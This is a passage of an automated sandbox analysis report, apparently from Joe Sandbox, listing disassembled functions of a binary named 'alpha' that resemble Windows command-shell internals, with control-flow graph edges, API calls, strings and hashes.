7ff6bf3e3f0d-7ff6bf3e3f11 786->796 788->789 797 7ff6bf3e3f9d-7ff6bf3e3fa5 788->797 789->774 789->777 791->779 791->799 792->786 801 7ff6bf3e409d-7ff6bf3e40b3 call 7ff6bf3e855c _local_unwind 792->801 793->801 804 7ff6bf3e3f46-7ff6bf3e3f69 call 7ff6bf3e498c 795->804 805 7ff6bf3e40b8-7ff6bf3e40de GetLastError call 7ff6bf3e855c _local_unwind 795->805 803 7ff6bf3e3f13-7ff6bf3e3f1c 796->803 796->804 797->782 799->793 801->805 803->795 803->804 815 7ff6bf3e40e3-7ff6bf3e40f9 call 7ff6bf3e855c _local_unwind 804->815 816 7ff6bf3e3f6f-7ff6bf3e3f98 call 7ff6bf3e417c 804->816 805->815 815->765 816->775
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _local_unwind$AttributesCurrentDirectoryErrorFileLasttowupper$FullNamePathiswalphamemset
                                                    • String ID: :
                                                    • API String ID: 1809961153-336475711
                                                    • Opcode ID: db7a8accf24e76443df151eec26ec66c8909a5ebe3ef3b4491d16ca320e82ff4
                                                    • Instruction ID: a24dce977fd74b9a0581e7c17934d2b1a86ea2ba6815322c7539ca0d3be17950
                                                    • Opcode Fuzzy Hash: db7a8accf24e76443df151eec26ec66c8909a5ebe3ef3b4491d16ca320e82ff4
                                                    • Instruction Fuzzy Hash: DAD17032A2CB8581EA60DB59E4442BAB7A1FF89740F444136DB8E877B5DF3CE845CB50
                                                    Function 00007FF6BF3E2394 Relevance: 26.5, APIs: 7, Strings: 8, Instructions: 213COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 914 7ff6bf3e2394-7ff6bf3e2416 memset call 7ff6bf3dca40 917 7ff6bf3ee0d2-7ff6bf3ee0da call 7ff6bf3e4c1c 914->917 918 7ff6bf3e241c-7ff6bf3e2453 GetModuleFileNameW call 7ff6bf3e081c 914->918 923 7ff6bf3ee0db-7ff6bf3ee0ee call 7ff6bf3e498c 917->923 918->923 924 7ff6bf3e2459-7ff6bf3e2468 call 7ff6bf3e081c 918->924 929 7ff6bf3ee0f4-7ff6bf3ee107 call 7ff6bf3e498c 923->929 924->929 930 7ff6bf3e246e-7ff6bf3e247d call 7ff6bf3e081c 924->930 938 7ff6bf3ee10d-7ff6bf3ee123 929->938 935 7ff6bf3e2483-7ff6bf3e2492 call 7ff6bf3e081c 930->935 936 7ff6bf3e2516-7ff6bf3e2529 call 7ff6bf3e498c 930->936 935->938 944 7ff6bf3e2498-7ff6bf3e24a7 call 7ff6bf3e081c 935->944 936->935 941 7ff6bf3ee125-7ff6bf3ee139 wcschr 938->941 942 7ff6bf3ee13f-7ff6bf3ee17a _wcsupr 938->942 941->942 945 7ff6bf3ee27c 941->945 946 7ff6bf3ee181-7ff6bf3ee199 wcsrchr 942->946 947 7ff6bf3ee17c-7ff6bf3ee17f 942->947 955 7ff6bf3ee2a1-7ff6bf3ee2c3 _wcsicmp 944->955 956 7ff6bf3e24ad-7ff6bf3e24c5 call 7ff6bf3e3c24 944->956 949 7ff6bf3ee283-7ff6bf3ee29b call 7ff6bf3e498c 945->949 950 7ff6bf3ee19c 946->950 947->950 949->955 951 7ff6bf3ee1a0-7ff6bf3ee1a7 950->951 951->951 954 7ff6bf3ee1a9-7ff6bf3ee1bb 951->954 958 7ff6bf3ee264-7ff6bf3ee277 call 7ff6bf3e1300 954->958 959 7ff6bf3ee1c1-7ff6bf3ee1e6 954->959 964 7ff6bf3e24ca-7ff6bf3e24db 956->964 958->945 962 7ff6bf3ee21a 959->962 963 7ff6bf3ee1e8-7ff6bf3ee1f1 959->963 969 7ff6bf3ee21d-7ff6bf3ee21f 962->969 965 7ff6bf3ee1f3-7ff6bf3ee1f6 963->965 966 7ff6bf3ee201-7ff6bf3ee210 963->966 967 7ff6bf3e24dd-7ff6bf3e24e4 ??_V@YAXPEAX@Z 964->967 968 7ff6bf3e24e9-7ff6bf3e2514 call 7ff6bf3e8f80 964->968 965->966 970 7ff6bf3ee1f8-7ff6bf3ee1ff 965->970 966->962 971 7ff6bf3ee212-7ff6bf3ee218 966->971 967->968 969->949 973 7ff6bf3ee221-7ff6bf3ee228 969->973 970->965 970->966 971->969 975 7ff6bf3ee254-7ff6bf3ee262 973->975 976 7ff6bf3ee22a-7ff6bf3ee231 973->976 975->945 977 7ff6bf3ee234-7ff6bf3ee237 976->977 977->975 978 7ff6bf3ee239-7ff6bf3ee242 977->978 978->975 979 7ff6bf3ee244-7ff6bf3ee252 978->979 979->975 979->977
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$EnvironmentFileModuleNameVariable_wcsuprwcschr
                                                    • String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
                                                    • API String ID: 2622545777-4197029667
                                                    • Opcode ID: bd59c29d01747683900c9969ab54c99ddb5983c61e93a73bd4a825f93bf20993
                                                    • Instruction ID: c8d1226609fcb376932d7847a0da7c3155fa40e8795f0c68778919b2ca5ed04e
                                                    • Opcode Fuzzy Hash: bd59c29d01747683900c9969ab54c99ddb5983c61e93a73bd4a825f93bf20993
                                                    • Instruction Fuzzy Hash: C1917271B29A8285EE249FA8D8502F867A0FF58B84F454135CB4E8B7B5DF3CE945C390
                                                    Function 00007FF6BF3E0580 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 82COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ConsoleMode_get_osfhandle
                                                    • String ID: CMD.EXE
                                                    • API String ID: 1606018815-3025314500
                                                    • Opcode ID: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
                                                    • Instruction ID: 4374ea69b9ce9ae36cec0b3487d74d17c9c8f0ac22c0bb7c662ba1ff971bacc1
                                                    • Opcode Fuzzy Hash: 9863d994e227a964b461aa116ba59a1d246fb461d9866754b2e1da54715f6750
                                                    • Instruction Fuzzy Hash: E241FC71A196028BE6044BACE8441787FA0FF9A755F489138CB1EC73B2DF7CA514C744
                                                    Function 00007FF6BF3DC620 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 312COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 992 7ff6bf3dc620-7ff6bf3dc66f GetConsoleTitleW 993 7ff6bf3ec5f2 992->993 994 7ff6bf3dc675-7ff6bf3dc687 call 7ff6bf3daf14 992->994 996 7ff6bf3ec5fc-7ff6bf3ec60c GetLastError 993->996 999 7ff6bf3dc68e-7ff6bf3dc69d call 7ff6bf3dca40 994->999 1000 7ff6bf3dc689 994->1000 998 7ff6bf3ec5e3 call 7ff6bf3d3278 996->998 1004 7ff6bf3ec5e8-7ff6bf3ec5ed call 7ff6bf3e855c 998->1004 999->1004 1005 7ff6bf3dc6a3-7ff6bf3dc6ac 999->1005 1000->999 1004->993 1007 7ff6bf3dc6b2-7ff6bf3dc6c5 call 7ff6bf3db9c0 1005->1007 1008 7ff6bf3dc954-7ff6bf3dc95e call 7ff6bf3e291c 1005->1008 1015 7ff6bf3dc9b5-7ff6bf3dc9b8 call 7ff6bf3e5c6c 1007->1015 1016 7ff6bf3dc6cb-7ff6bf3dc6ce 1007->1016 1013 7ff6bf3dc964-7ff6bf3dc972 call 7ff6bf3d89c0 1008->1013 1014 7ff6bf3ec5de-7ff6bf3ec5e0 1008->1014 1013->996 1024 7ff6bf3dc978-7ff6bf3dc99a towupper 1013->1024 1014->998 1023 7ff6bf3dc9bd-7ff6bf3dc9c9 call 7ff6bf3e855c 1015->1023 1016->1004 1018 7ff6bf3dc6d4-7ff6bf3dc6e9 1016->1018 1021 7ff6bf3dc6ef-7ff6bf3dc6fa 1018->1021 1022 7ff6bf3ec616-7ff6bf3ec620 call 7ff6bf3e855c 1018->1022 1025 7ff6bf3dc700-7ff6bf3dc713 1021->1025 1026 7ff6bf3ec627 1021->1026 1022->1026 1037 7ff6bf3dc9d0-7ff6bf3dc9d7 1023->1037 1029 7ff6bf3dc9a0-7ff6bf3dc9a9 1024->1029 1030 7ff6bf3ec631 1025->1030 1031 7ff6bf3dc719-7ff6bf3dc72c 1025->1031 1026->1030 1029->1029 1034 7ff6bf3dc9ab-7ff6bf3dc9af 1029->1034 1036 7ff6bf3ec63b 1030->1036 1035 7ff6bf3dc732-7ff6bf3dc747 call 7ff6bf3dd3f0 1031->1035 1031->1036 1034->1015 1038 7ff6bf3ec60e-7ff6bf3ec611 call 7ff6bf3fec14 1034->1038 1047 7ff6bf3dc74d-7ff6bf3dc750 1035->1047 1048 7ff6bf3dc8ac-7ff6bf3dc8af 1035->1048 1042 7ff6bf3ec645 1036->1042 1040 7ff6bf3dc872-7ff6bf3dc8aa call 7ff6bf3e855c call 7ff6bf3e8f80 1037->1040 1041 7ff6bf3dc9dd-7ff6bf3ec6da SetConsoleTitleW 1037->1041 1038->1022 1041->1040 1053 7ff6bf3ec64e-7ff6bf3ec651 1042->1053 1049 7ff6bf3dc752-7ff6bf3dc764 call 7ff6bf3dbd38 1047->1049 1050 7ff6bf3dc76a-7ff6bf3dc76d 1047->1050 1048->1047 1052 7ff6bf3dc8b5-7ff6bf3dc8d3 wcsncmp 1048->1052 1049->1004 1049->1050 1056 7ff6bf3dc773-7ff6bf3dc77a 1050->1056 1057 7ff6bf3dc840-7ff6bf3dc84b call 7ff6bf3dcb40 1050->1057 1052->1050 1058 7ff6bf3dc8d9 1052->1058 1059 7ff6bf3dc80d-7ff6bf3dc811 1053->1059 1060 7ff6bf3ec657-7ff6bf3ec65b 1053->1060 1065 7ff6bf3dc780-7ff6bf3dc784 1056->1065 1077 7ff6bf3dc84d-7ff6bf3dc855 call 7ff6bf3dcad4 1057->1077 1078 7ff6bf3dc856-7ff6bf3dc86c 1057->1078 1058->1047 1061 7ff6bf3dc9e2-7ff6bf3dc9e7 1059->1061 1062 7ff6bf3dc817-7ff6bf3dc81b 1059->1062 1060->1059 1061->1062 1069 7ff6bf3dc9ed-7ff6bf3dc9f7 call 7ff6bf3e291c 1061->1069 1067 7ff6bf3dc821 1062->1067 1068 7ff6bf3dca1b-7ff6bf3dca1f 1062->1068 1070 7ff6bf3dc78a-7ff6bf3dc7a4 wcschr 1065->1070 1071 7ff6bf3dc83d 1065->1071 1073 7ff6bf3dc824-7ff6bf3dc82d 1067->1073 1068->1067 1079 7ff6bf3dca25-7ff6bf3ec6b3 call 7ff6bf3d3278 1068->1079 1086 7ff6bf3ec684-7ff6bf3ec698 call 7ff6bf3d3278 1069->1086 1087 7ff6bf3dc9fd-7ff6bf3dca00 1069->1087 1075 7ff6bf3dc8de-7ff6bf3dc8f7 1070->1075 1076 7ff6bf3dc7aa-7ff6bf3dc7ad 1070->1076 1071->1057 1073->1073 1080 7ff6bf3dc82f-7ff6bf3dc837 1073->1080 1082 7ff6bf3dc900-7ff6bf3dc908 1075->1082 1083 7ff6bf3dc7b0-7ff6bf3dc7b8 1076->1083 1077->1078 1078->1037 1078->1040 1079->1004 1080->1065 1080->1071 1082->1082 1088 7ff6bf3dc90a-7ff6bf3dc915 1082->1088 1083->1083 1089 7ff6bf3dc7ba-7ff6bf3dc7c7 1083->1089 1086->1004 1087->1062 1094 7ff6bf3dca06-7ff6bf3dca10 call 7ff6bf3d89c0 1087->1094 1095 7ff6bf3dc93a-7ff6bf3dc944 1088->1095 1096 7ff6bf3dc917 1088->1096 1089->1053 1097 7ff6bf3dc7cd-7ff6bf3dc7db 1089->1097 1094->1062 1111 7ff6bf3dca16-7ff6bf3ec67f GetLastError call 7ff6bf3d3278 1094->1111 1103 7ff6bf3dca2a-7ff6bf3dca2f call 7ff6bf3e9158 1095->1103 1104 7ff6bf3dc94a 1095->1104 1100 7ff6bf3dc920-7ff6bf3dc928 1096->1100 1101 7ff6bf3dc7e0-7ff6bf3dc7e7 1097->1101 1106 7ff6bf3dc932-7ff6bf3dc938 1100->1106 1107 7ff6bf3dc92a-7ff6bf3dc92f 1100->1107 1108 7ff6bf3dc800-7ff6bf3dc803 1101->1108 1109 7ff6bf3dc7e9-7ff6bf3dc7f1 1101->1109 1103->1014 1104->1008 1106->1095 1106->1100 1107->1106 1108->1042 1113 7ff6bf3dc809 1108->1113 1109->1108 1112 7ff6bf3dc7f3-7ff6bf3dc7fe 1109->1112 1111->1004 1112->1101 1112->1108 1113->1059
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ConsoleTitlewcschr
                                                    • String ID: /$:
                                                    • API String ID: 2364928044-4222935259
                                                    • Opcode ID: 2d0f60311dbb7cb4575a21d0706b761dc6d692f27382b916cf53a40b82970273
                                                    • Instruction ID: c5cb9efd40eb660a831228a635b2dc8f2c1d7981c18792a78a2f5e292c766115
                                                    • Opcode Fuzzy Hash: 2d0f60311dbb7cb4575a21d0706b761dc6d692f27382b916cf53a40b82970273
                                                    • Instruction Fuzzy Hash: F4C1BB65E6864281EA649BADD4146BD63A0FF90BD4F489131DB1ECB2F1EF3CE844C390
                                                    Function 00007FF6BF3E8D80 Relevance: 9.1, APIs: 6, Instructions: 95sleepCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1171 7ff6bf3e8d80-7ff6bf3e8da2 1172 7ff6bf3e8da4-7ff6bf3e8daf 1171->1172 1173 7ff6bf3e8db1-7ff6bf3e8db4 1172->1173 1174 7ff6bf3e8dcc 1172->1174 1175 7ff6bf3e8dbf-7ff6bf3e8dca Sleep 1173->1175 1176 7ff6bf3e8db6-7ff6bf3e8dbd 1173->1176 1177 7ff6bf3e8dd1-7ff6bf3e8dd9 1174->1177 1175->1172 1176->1177 1178 7ff6bf3e8ddb-7ff6bf3e8de5 _amsg_exit 1177->1178 1179 7ff6bf3e8de7-7ff6bf3e8def 1177->1179 1180 7ff6bf3e8e4c-7ff6bf3e8e54 1178->1180 1181 7ff6bf3e8df1-7ff6bf3e8e0a 1179->1181 1182 7ff6bf3e8e46 1179->1182 1184 7ff6bf3e8e73-7ff6bf3e8e75 1180->1184 1185 7ff6bf3e8e56-7ff6bf3e8e69 _initterm 1180->1185 1183 7ff6bf3e8e0e-7ff6bf3e8e11 1181->1183 1182->1180 1186 7ff6bf3e8e13-7ff6bf3e8e15 1183->1186 1187 7ff6bf3e8e38-7ff6bf3e8e3a 1183->1187 1188 7ff6bf3e8e80-7ff6bf3e8e88 1184->1188 1189 7ff6bf3e8e77-7ff6bf3e8e79 1184->1189 1185->1184 1190 7ff6bf3e8e3c-7ff6bf3e8e41 1186->1190 1191 7ff6bf3e8e17-7ff6bf3e8e1b 1186->1191 1187->1180 1187->1190 1192 7ff6bf3e8eb4-7ff6bf3e8ec8 call 7ff6bf3e37d8 1188->1192 1193 7ff6bf3e8e8a-7ff6bf3e8e98 call 7ff6bf3e94f0 1188->1193 1189->1188 1198 7ff6bf3e8f28-7ff6bf3e8f3d 1190->1198 1195 7ff6bf3e8e2d-7ff6bf3e8e36 1191->1195 1196 7ff6bf3e8e1d-7ff6bf3e8e29 1191->1196 1200 7ff6bf3e8ecd-7ff6bf3e8eda 1192->1200 1193->1192 1201 7ff6bf3e8e9a-7ff6bf3e8eaa 1193->1201 1195->1183 1196->1195 1203 7ff6bf3e8ee4-7ff6bf3e8eeb 1200->1203 1204 7ff6bf3e8edc-7ff6bf3e8ede exit 1200->1204 1201->1192 1205 7ff6bf3e8eed-7ff6bf3e8ef3 _cexit 1203->1205 1206 7ff6bf3e8ef9 1203->1206 1204->1203 1205->1206 1206->1198
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
                                                    • String ID:
                                                    • API String ID: 4291973834-0
                                                    • Opcode ID: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
                                                    • Instruction ID: a2185197fa34045fa9238c68ca7b36039344b55e5d16bd145771027dc34745cf
                                                    • Opcode Fuzzy Hash: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
                                                    • Instruction Fuzzy Hash: 6C41D535E2860386FA509BA8E94067937A0AFA4344F440535DB5DCB7B2DFBCEC998790
                                                    Function 00007FF6BF3E4A14 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 1207 7ff6bf3e4a14-7ff6bf3e4a3e GetEnvironmentStringsW 1208 7ff6bf3e4aae-7ff6bf3e4ac5 1207->1208 1209 7ff6bf3e4a40-7ff6bf3e4a46 1207->1209 1210 7ff6bf3e4a59-7ff6bf3e4a8f GetProcessHeap HeapAlloc 1209->1210 1211 7ff6bf3e4a48-7ff6bf3e4a52 1209->1211 1213 7ff6bf3e4a9f-7ff6bf3e4aa9 FreeEnvironmentStringsW 1210->1213 1214 7ff6bf3e4a91-7ff6bf3e4a9a memmove 1210->1214 1211->1211 1212 7ff6bf3e4a54-7ff6bf3e4a57 1211->1212 1212->1210 1212->1211 1213->1208 1214->1213
                                                    APIs
                                                    • GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A28
                                                    • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A66
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A7D
                                                    • memmove.MSVCRT(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4A9A
                                                    • FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF6BF3E49F1), ref: 00007FF6BF3E4AA2
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: EnvironmentHeapStrings$AllocFreeProcessmemmove
                                                    • String ID:
                                                    • API String ID: 1623332820-0
                                                    • Opcode ID: 1c74cb7d747f94bb3f8ccfe64acdf6d421a13f5ebefc0e59dd75b6ffc5c77824
                                                    • Instruction ID: daeb110a6822333e7e823eb5a0f7ad5aab6f18725165a2b119a242a89fff2497
                                                    • Opcode Fuzzy Hash: 1c74cb7d747f94bb3f8ccfe64acdf6d421a13f5ebefc0e59dd75b6ffc5c77824
                                                    • Instruction Fuzzy Hash: 5B119136B1474282DE509B99F404139BBE0EF8DF90B599034DF4E47765DE3DE8418754
                                                    Function 00007FF6BF3E5CB4 Relevance: 7.5, APIs: 5, Instructions: 36synchronizationCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseCodeExitHandleObjectProcessSingleWaitfflushfprintf
                                                    • String ID:
                                                    • API String ID: 1826527819-0
                                                    • Opcode ID: f2fead82e6adea435ca3ec11aeaf7f247f0c9f685b678692693d010e6480eae1
                                                    • Instruction ID: 9d106d48d037250432e696403ff51df6dac69c1b17c37d96e32b9ed07c7f9597
                                                    • Opcode Fuzzy Hash: f2fead82e6adea435ca3ec11aeaf7f247f0c9f685b678692693d010e6480eae1
                                                    • Instruction Fuzzy Hash: 1A016D319086828AE604ABA8A4541B8BFA0FF9A755F446134D74F8A3B7DF7C9458C750
                                                    Function 00007FF6BF3E3060 Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E1EA0: wcschr.MSVCRT(?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF6BF400D54), ref: 00007FF6BF3E1EB3
                                                    • SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF6BF3D92AC), ref: 00007FF6BF3E30CA
                                                    • SetErrorMode.KERNELBASE ref: 00007FF6BF3E30DD
                                                    • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E30F6
                                                    • SetErrorMode.KERNELBASE ref: 00007FF6BF3E3106
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorMode$FullNamePathwcschr
                                                    • String ID:
                                                    • API String ID: 1464828906-0
                                                    • Opcode ID: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
                                                    • Instruction ID: 0ed1c03fa10409e829697cce2549603635c84ea0aa3964ea112b375389186c4b
                                                    • Opcode Fuzzy Hash: ae25a92083232286a245a47a38675b80b3e95939c3784da970b3955f028bd4da
                                                    • Instruction Fuzzy Hash: 81311331A2861282E7249F99A40007EBB60EF49B90F559234DB4ECB3F0DE7DEC858390
                                                    Function 00007FF6BF3DCA40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
